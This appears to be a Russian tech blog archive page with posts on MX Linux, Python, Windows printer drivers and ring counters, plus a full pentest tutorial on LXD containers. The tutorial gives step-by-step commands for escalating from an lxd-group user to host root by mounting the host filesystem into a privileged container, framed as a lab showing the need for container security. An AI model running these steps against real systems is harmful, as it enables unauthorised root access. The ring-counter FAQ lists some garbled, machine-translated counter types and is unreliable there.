Архив автора: admin

MX Service Manager: новый инструмент в MX Linux 23

MX Service Manager: новый инструмент в MX Linux 23

MX Service Manager: новый инструмент в MX Linux 23

Без сомнения, Debian GNU / Linux Это один из самых популярных, используемых и стабильных материнских дистрибутивов в мире. Linuxverse. По этой причине многие из его дочерних дистрибутивов (производных) оказываются столь же замечательными и полезными. Однако не для всех из них обычно характерно наличие собственной посылочной службы, т.е. надежная коллекция собственных инструментов. Кроме того, оригинальные и инновационные функции, а также специальные конфигурации или настройки, которые действительно делают его достойным внимания сообщества Linux.

Таким образом, хорошим примером этого случая обычно является дистрибутивы antiX и MX. В их число входит солидная и постоянно растущая коллекция проприетарных инструментов, которые в случае MX Linux обычно называются MX. Инструменты (Инструменты MX). И сегодня, 7 сентября 2023 года, они анонсировали еще один полезный инструмент, который дополняет указанную коллекцию, имя которой «Менеджер службы MX», то знакомству с ним мы посвятим эту своевременную публикацию.



Читать

Python 3 Многопроцессорность

В статье рассмотрим многопроцессорность в Python 3, а именно модуль multiprocessing и его классы: Process, Queue, Manager, Listen и Client.





Читать

🐧 Неправильная конфигурация контейнеров Linux

В этой статье мы рассмотрим мир Linux-контейнеров (LXD/LXC) и их внутреннее устройство.

Кроме того, мы предоставим исчерпывающее руководство по настройке контейнера для целей тестирования, в том числе о том, что делать, если что-то пошло не так.

Самое главное – мы покажем, как злоумышленники могут использовать неправильно сконфигурированные контейнеры для получения системных привилегий, что подчеркивает острую необходимость обеспечения безопасности контейнеров.

В этой статье будут рассмотрены следующие темы:

  • Обзор Lxc и Lxd
  • Различия между Lxc и Lxd
  • Конфигурация Lxd
  • Неправильная настройка привилегий Lxd
  • Как использовать неправильно настроенный контейнер?

LXC

LXC, или Linux Containers, – это технология виртуализации на уровне операционной системы Linux.

Она позволяет запускать несколько независимых Linux-систем, называемых контейнерами, на одной хост-машине.

Каждый контейнер работает изолированно и имеет свою память, сетевые ресурсы и файловые системы.

Приложения контейнеров воспринимаются как работающие на отдельной физической машине.

LXC предлагает эффективный и действенный метод работы многих экземпляров Linux на одном хосте с минимальной деградацией и низкими накладными расходами.

Он востребован для развертывания приложений, тестирования систем, разработки и построения облачных инфраструктур.

LXC поддерживается ядром Linux и управляется с помощью различных инструментов, включая интерфейс командной строки LXC (CLI) и различные графические интерфейсы.

Она обладает гибкой и модульной архитектурой, позволяющей пользователям настраивать контейнеры в соответствии с их конкретными потребностями и требованиями.

LXD

LXD, сокращение от Linux Container Daemon, – это контейнерный гипервизор, позволяющий управлять контейнерами LXC с помощью удобного интерфейса.

Он использует технологию LXC и позволяет создавать системные контейнеры.

LXD оптимизирован для работы в Ubuntu и других дистрибутивах Linux, поддерживающих snap-пакеты.

LXD позволяет создавать, управлять и исполнять контейнеры с помощью REST API и интерфейса командной строки.

REST API позволяет программно управлять контейнерами, а интерфейс командной строки обеспечивает эффективное взаимодействие с контейнерами непосредственно из терминала.

LXD известен своей способностью к масштабированию и различными средствами защиты, которые предотвращают взлом контейнеров злоумышленниками.

Он предлагает такие высокотехнологичные средства защиты, как AppArmor и SELinux, позволяющие изолировать контейнеры и хосты.

Кроме того, LXD поддерживает живую миграцию контейнеров между хостами, что позволяет без проблем переносить рабочие нагрузки в различные среды.

В целом LXD – это мощный инструмент для управления Linux-контейнерами, упрощающий контейнеризацию и позволяющий пользователям безопасно и эффективно запускать приложения.

🔥 Реализация мандатного контроля доступа с помощью SELinux или AppArmor в Linux

Разница между LXC и LXD

LXC (Linux Containers) и LXD (Linux Container Daemon) – обе технологии, используемые для контейнеризации в Linux, но между ними есть некоторые различия:

  • LXC – это интерфейс пользовательского пространства для контейнерных функций ядра Linux, а LXD – это демон, предоставляющий RESTful API для управления контейнерами LXC.
  • LXC предназначен в первую очередь для создания и управления легкими системными контейнерами, в то время как LXD представляет собой полноценное решение для управления контейнерами, включающее такие функции, как живая миграция, кластеризация и управление хранением.
  • Кроме того, LXD предоставляет более удобный интерфейс командной строки и графический веб-интерфейс для управления контейнерами, в то время как LXC полагается на инструменты командной строки для управления.
  • LXD является более высокоуровневой абстракцией LXC, добавляющей такие функции, как управление образами контейнеров, создание моментальных снимков и управление сетью, в дополнение к основной функциональности LXC.

В итоге, если LXC обеспечивает основную функциональность контейнеризации в Linux, то LXD строится на ее основе и представляет собой полноценное решение для управления контейнерами с дополнительными возможностями и более удобным интерфейсом.

Настройка LxD

Теперь давайте выполним шаги по установке и настройке контейнера LXD в нашей системе.

Сначала с помощью утилиты ‘apt’ мы установим lxd и другие зависимости.

apt install lxd

apt install zfsutils-linux

После установки контейнера и его зависимостей мы можем запустить демон контейнера lxd с помощью команды ‘systemctl’.

systemctl start lxd

Неправильная настройка привилегий LXD

Для неправильной настройки контейнера создадим низкопривилегированного пользователя ‘pentest’ и дадим ему право управлять контейнерами lxd.

Создать пользователя можно с помощью команды ‘useradd’.

Команда ‘-p’ указывает пароль, ‘-s’ – shell и ‘-m’ – каталог пользователя, совпадающий с именем пользователя.

useradd -p ‘Password1’ -s ‘/bin/bash’ -m pentest

После создания пользователя мы можем использовать команду ‘usermod’ для добавления пользователя в группу lxd.

Это действие даст пользователю ‘pentest’ право на управление контейнерами.

usermod --append --groups lxd pentest

Мы также можем создать файл root.txt в корневом каталоге, чтобы проверить эксплойт, прочитав этот файл.

echo ‘We Got Root’ > root.txt

Пользователь pentest теперь является членом группы lxd

Теперь, используя эту неправильную конфигурацию, мы можем эксплуатировать систему и получить оболочку привилегированного пользователя.

Эксплуатация неправильно сконфигурированного контейнера

Первым шагом будет настройка нового пула хранения.

Для этого мы можем воспользоваться командой lxd init.

lxd init

Мы также можем проверить созданный нами пул хранения с помощью команды lxc.

lxc storage list

После создания пула хранения нам понадобится любой скомпилированный образ для контейнера lxd, который можно загрузить с GitHub.

В нашем сценарии хост-машина имеет доступ в Интернет, но если это не так, злоумышленник может сгенерировать собственный скомпилированный образ для lxd и передать его на хост-машину.

Давайте загрузим ‘lxd-alpine-builder’ и соберем образ.

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder/ 
./build-alpine

После выполнения приведенных выше команд мы скомпилировали образ для контейнера lxd.

Теперь необходимо импортировать скомпилированный образ в контейнер.

Мы можем использовать lxc для импорта образа в контейнер.

Здесь мы именуем образ alpine как ‘Myimage’.

lxc image import ./ alpine-v3.17-x86_64-20230302_1107.tar.gz --alias MyImage
lxc image list

Наш скомпилированный образ импортирован в контейнер.

Теперь мы выполним несколько команд lxc, чтобы настроить привилегии для нашего скомпилированного образа.

Нам необходимо создать контейнер с использованием импортированного образа (MyImage).

Для этого необходимо создать экземпляр образа контейнера (с именем Itsec), после чего можно назначить привилегии безопасности созданному экземпляру.

lxc init MyImage itsec -c security.privileged=true

Смонтируйте корневой каталог хост-машины ( / ) в качестве алиаса (HostDir) в контейнер lxd по пути ‘/mnt/’

lxc config device add itsec HostDir disk source=/ path=/mnt/root recursive=true

Запуск контейнера

lxc start itsec

Получим оболочку для контейнера lxd.

lxc exec itsec /bin/sh

Проверка целостности контейнера lxd

id 
Hostname

Мы получили доступ к нашему контейнеру lxd, и в приведенном выше статусе мы смонтировали корневой каталог хост-машины (/) в папку /mnt/ контейнера.

Оказавшись внутри контейнера, мы можем перейти в каталог /mnt/root и увидеть все ресурсы хост-машины.

Мы можем получить доступ к файлу root.txt, созданному ранее, подтвердив тем самым права root-доступа.

cd /mnt/root/root 
ls

В этом руководсте мы рассмотрели, как простая неправильная конфигурация контейнера lxd позволяет злоумышленнику скомпрометировать всю систему и получить root shell на хост-машине.



2023-09-08T14:43:40
Закрытие уязвимостей

Microsoft объявляет о прекращении поддержки сторонних драйверов принтеров Windows

Microsoft официально объявила, что прекратит поддержку сторонних драйверов принтеров в Windows. Это означает, что в ближайшие годы производители принтеров могут больше не распространять свои драйверы через обновление Windows.

Я не использовал принтер более десяти лет, но вы когда-нибудь замечали, как легко просто подключить и воспроизвести принтер в Windows? Это потому, что, по большей части, Windows, насколько я помню, поддерживала драйверы, созданные производителем, для Windows Update.

Однако, начиная с Windows 10 21H2, Microsoft добавила поддержку входящих сообщений для Mopria-совместимых принтеров через сетевые и USB-интерфейсы через драйвер класса Microsoft IPP, и эту идею с этим новым объявление это прекратить стороннюю поддержку в пользу этого стандарта.

Альянс Mopria был представлен в 2013 году компанией Canon, HP, Samsung и Xerox с целью создания универсальных стандартов и решений для поддержки сканирования и печати. В дополнение к этим членам, Брат, Эпсон, Microsoft, Лексмарк, Kyocera, С тех пор Adobe и некоторые другие поддержали этот новый стандарт с более чем 6000 совместимыми моделями принтеров и более чем тремя миллиардами установок на сегодняшний день.

Этот альянс в сочетании с драйвером класса Microsoft IPP имеет дополнительное преимущество, заключающееся в устранении необходимости в специальных установщиках и драйверах, а также внедрение улучшений производительности и надежности и совместимости в широком спектре принтеров и версий Windows.

Итак, в чем же суета? Что ж, устаревшие принтеры, которые не поддерживают технологию Mopria и драйвер класса Microsoft IPP, скорее всего, придется обновлять вручную или в худшем случае, в конечном итоге устаревают, как говорит производитель Windows, он также начнет процесс поэтапного отказа от устаревших драйверов принтеров v3 и v4.

Если вы когда-либо были в приемной или офисе вашего местного супермаркета или работали в ИТ-отделе крупной корпорации или даже малых и средних предприятий, Вы бы знали, что существуют миллионы устаревших принтеров и копировальных аппаратов, которые давно истекли срок их погашения, и это даже не учитывает офисный принтер вашей мамы.

К счастью, понимая, что этот процесс затронет большое количество его клиентов, Microsoft в течение ряда лет будет осуществлять этот процесс следующим образом:

  • Сентябрь 2023: Объявите устаревший сторонний драйвер принтера для плана Windows по окончанию обслуживания.
  • 2025: Новые драйверы принтера не будут опубликованы в обновлении Windows. Существующие драйверы принтера в обновлении Windows все еще могут быть обновлены.
  • 2026: Порядок ранжирования драйверов принтеров изменен, чтобы всегда отдавать предпочтение драйверу Windows IPP inbox-класса.
  • 2027: За исключением исправлений, связанных с безопасностью, сторонние обновления драйверов принтера больше не будут разрешены. Существующие сторонние драйверы принтера могут быть установлены из Windows Update, или пользователи могут устанавливать драйверы принтера, используя программы установки принтера.

 

Таким образом, ключевые выводы являются; Microsoft продолжит поддерживать существующие пакеты установки принтера даже после завершения плана обслуживания, подробно описанного выше, при условии, что для устройства доступен сторонний драйвер. Компания также не будет препятствовать установке новых драйверов принтеров даже после 2027 года, за исключением того, что обновления в эфире через Windows Update больше не будут разрешены. Наконец, изменение в конце службы применяется ко всем версиям Windows, включая Windows 10 и 11.



2023-09-08T08:32:35
Microsoft

Кольцевой счетчик в цифровой логике

Счетчики используются в различных приложениях в цифровых логических схемах, начиная от простых задач подсчета и заканчивая более сложными операциями упорядочивания и управления. Кольцевой счетчик выделяется как интересная и полезная конфигурация среди различных типов счетчиков. Кольцевой счетчик — это тип сдвигового регистра с уникальными характеристиками и применениями. В этой статье мы рассмотрим концепцию кольцевого счетчика, принцип его работы, области применения, преимущества и различные доступные типы.

 

Что такое кольцевой счетчик в цифровой логике?

Кольцевой счетчик — это тип схемы цифрового счетчика, которая построена с использованием сдвигового регистра. Он получил свое название из-за способа его работы, при котором биты данных циркулируют (или «закольцованы») с помощью последовательности триггеров. Такое поведение циклического сдвига обуславливает его уникальные свойства и области применения.

Кольцевой счетчик в цифровой логике

 

Принцип работы кольцевого счетчика

Кольцевой счетчик обычно состоит из набора триггеров, соединенных по кругу. Выход каждого триггера соединен со входом следующего триггера в последовательности, а выход последнего триггера подается обратно на вход первого триггера, образуя замкнутый контур. Эта конфигурация создает циклический сдвиг битов данных через триггеры.

Когда тактовый сигнал подается на кольцевой счетчик, биты данных сдвигаются с одного триггера на следующий с каждым тактом синхронизации. В результате кольцевой счетчик генерирует последовательность двоичных состояний, которые повторяются после определенного числа тактов, в зависимости от количества триггеров в схеме. Двоичная последовательность, генерируемая кольцевым счетчиком, может использоваться для различных приложений, таких как упорядочивание, генерация шаблонов и операции управления.

Кольцевой счетчик в цифровой логике

 

В приведенной выше таблице выделенные единицы являются предварительно установленными 1. Предварительно установленное значение 1 генерируется, когда

  • Вход ORI установлен на низкий уровень, и в это время Clk не волнует.
  • Когда вход ORI установлен на высокий, а сигнал низкого тактового импульса передается при срабатывании отрицательного фронта тактовой частоты.

 

Кольцо образуется, когда предварительно установленное значение 1 сдвигается на следующий триггер при каждом тактовом импульсе.

 

Типы кольцевых счетчиков в цифровой логике

В цифровой логике существует два типа кольцевого счетчика.

1. Прямой кольцевой счетчик

Прямой кольцевой счетчик также известен как счетчик «Один горячий». Результат предыдущего триггера используется первым триггером в качестве входных данных. Вход ORI передается на вход PR для первого триггера и на вход clear для остальных триггеров в кольцевом счетчике.

 

Примечание
Прямой кольцевой счетчик передает один бит 1 (или 0) по кольцу.

 

Логическая схема

Кольцевой счетчик в цифровой логике

 

Таблица истинности

Кольцевой счетчик в цифровой логике

 

Схема сигналов

Кольцевой счетчик в цифровой логике

 

2. Счетчик витых колец

Кольцевой счетчик с переключателем — это то, что называется счетчиком со скрученным кольцом. Выходные данные последнего триггера передаются как входные данные первого триггера, точно так же, как в счетчике с прямым кольцом. Вход ORI используется в качестве входного сигнала clear всеми триггерами счетчика twisted ring.

Примечание: Счетчик со скрученным кольцом циркулирует по кольцу потоком из единиц, за которыми следует 0.

 

Логическая схема

Кольцевой счетчик в цифровой логике

 

Таблица истинности

Кольцевой счетчик в цифровой логике

 

Схема сигналов

Кольцевой счетчик в цифровой логике

 

Преимущества кольцевого счетчика в цифровой логике

1. Простота: Кольцевые счетчики относительно просты в реализации с использованием стандартных триггерных компонентов, что упрощает их проектирование и интеграцию.

2. Компактность: Структура кольцевого счетчика с замкнутым контуром позволяет ему генерировать последовательности без сложной внешней логики, что делает его компактным для интегральных схем.

3. Предсказуемая последовательность: Циклическое поведение кольцевого счетчика обеспечивает согласованную и известную последовательность, что выгодно в приложениях, где важна предсказуемость.

 

Использование кольцевого счетчика в цифровой логике

1. Последовательность: обычно используется в цифровых часах, системах управления светофорами и промышленной автоматизации для генерации упорядоченных последовательностей.

2. Генерация шаблонов: применяется в светодиодных дисплеях, текстовых дисплеях с прокруткой и системах последовательного управления для создания определенных шаблонов выходных данных.

3. Декодирование и управление: Служат в качестве декодеров адресов в устройствах памяти и реализуют логику управления в цифровых системах.

4. Частотное деление: используются в качестве делителей частоты, где выходная частота составляет долю входной тактовой частоты.

 

Ограничения кольцевого счетчика в цифровой логике

Несмотря на свои преимущества, кольцевые счетчики имеют ограничения. Фиксированная длина последовательности и потенциальные сбои при переключении — это соображения, которые разработчики должны учитывать в своих приложениях.

 

Заключение

Кольцевые счетчики — это увлекательный и полезный компонент в разработке цифровой логики, обеспечивающий простоту, предсказуемость и компактность при генерации последовательностей состояний. Их циклическое поведение и структура с замкнутым контуром делают их универсальными для различных применений, от базовых задач упорядочивания до более сложных операций управления. Разбираясь в различных типах кольцевых счетчиков и их характеристиках, разработчики цифровых устройств могут выбрать наиболее подходящий вариант для своих конкретных применений, способствуя созданию более эффективных и функциональных цифровых конструкций.

 

Часто задаваемые вопросы (FAQs)

Вот некоторые из часто задаваемых вопросов о кольцевом счетчике в цифровой логике.

 

Вопрос 1. Что такое кольцевой счетчик в цифровой логике?

Кольцевой счетчик — это специализированный тип схемы цифрового счетчика, построенный с использованием серии триггеров, соединенных по кругу. Биты данных циркулируют через триггеры, создавая циклическую последовательность двоичных состояний. Эта уникальная конфигурация находит применение в последовательности, генерации шаблонов и операциях управления.

 

Вопрос 2. Как работает кольцевой счетчик?

Кольцевой счетчик работает путем сдвига битов данных через круговое расположение триггеров. Выход каждого триггера соединен со входом следующего триггера, образуя замкнутый контур. Когда подается тактовый сигнал, биты данных циклически перемещаются от одного триггера к следующему, генерируя повторяющуюся двоичную последовательность.

 

Вопрос 3. Каковы преимущества использования кольцевых счетчиков?

Кольцевые счетчики обладают рядом преимуществ, включая простоту конструкции, компактность благодаря структуре замкнутого контура и способность генерировать предсказуемые последовательности. Они хорошо подходят для приложений, требующих повторяющихся последовательностей, таких как цифровые часы, светодиодные дисплеи и логика управления в различных системах.

 

Вопрос 4. Каковы различные типы кольцевых счетчиков?

Существует несколько типов кольцевых счетчиков:

  • Счетчики с одним кольцом: базовые однонаправленные счетчики, которые генерируют простую повторяющуюся последовательность.
  • Счетчики Джонсона: создают последовательности с меньшим количеством повторяющихся состояний, используя дополняемые выходные данные.
  • Счетчики ходячих колец: смещают последовательности в двух направлениях, что приводит к более длинным и сложным схемам.
  • Переключать счетчики хвостовых колец: позволяет генерировать обратимый шаблон, управляя направлением сдвига.
  • Счетчики по модулю N: генерируют последовательности с периодом в N тактов для точного синхронизации приложений.

 

Вопрос 5. Где обычно используются кольцевые счетчики?

Кольцевые счетчики находят применение в различных областях, включая:

  • Последовательность: используется в цифровых часах, светофорах и промышленной автоматизации для генерации упорядоченных последовательностей.
  • Генерация шаблонов: используется в светодиодных дисплеях, текстовых дисплеях с прокруткой и системах управления для создания определенных выходных шаблонов.
  • Декодирование и управление: служат в качестве декодеров адресов в устройствах памяти и реализуют логику управления в цифровых системах.
  • Частотное разделение: используются в качестве делителей частоты в системах связи и обработки сигналов.



2023-09-07T20:07:33
Программирование

Python 3 Синхронизация потоков

В статье я опишу механизмы Python 3 с помощью которых выполняется синхронизация потоков, а именно классы Event, Condition, Barrier и Semaphore.





Читать